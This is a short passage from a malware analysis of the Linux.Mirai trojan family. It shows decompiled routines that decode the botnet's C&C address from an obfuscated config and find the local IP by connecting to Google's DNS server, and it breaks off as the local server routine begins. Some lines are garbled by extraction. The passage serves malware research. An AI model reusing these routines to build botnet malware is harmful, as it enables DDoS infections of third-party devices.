Investigation of Linux.Mirai Trojan family

45
45
{
}
decode(4u);
decode(5u);
cnc.sin_addr.s_addr = *(_DWORD *)get_config_entry(4, 0);
cnc.sin_port = *(_WORD *)get_config_entry(5, 0);
encode(4u);
encode(5u);
The process then receives the IP address of the network interface used to connect to the Internet via the
Google DNS server (Linux.DDoS.87 got this address by connecting to its C&C server):
int getMyIp()
{
int v0; // esi@1
int result; // eax@1
__int16 v2; // [esp+20h] [ebp-1Ch]@2
__int16 v3; // [esp+22h] [ebp-1Ah]@2
int v4; // [esp+24h] [ebp-18h]@2
int v5; // [esp+30h] [ebp-Ch]@1
v5 = 16;
v0 = __GI_socket(2, 2, 0);
result = 0;
if ( v0 != -1 )
{
}
v2 = 2;
v4 = 0x8080808;
v3 = 0x3500;
__libc_connect(v0, &v2, 16);
__GI_getsockname(v0, &v2, &v5);
__libc_close(v0);
result = v4;
return result;}
The local server is then launched:
int start_server()
{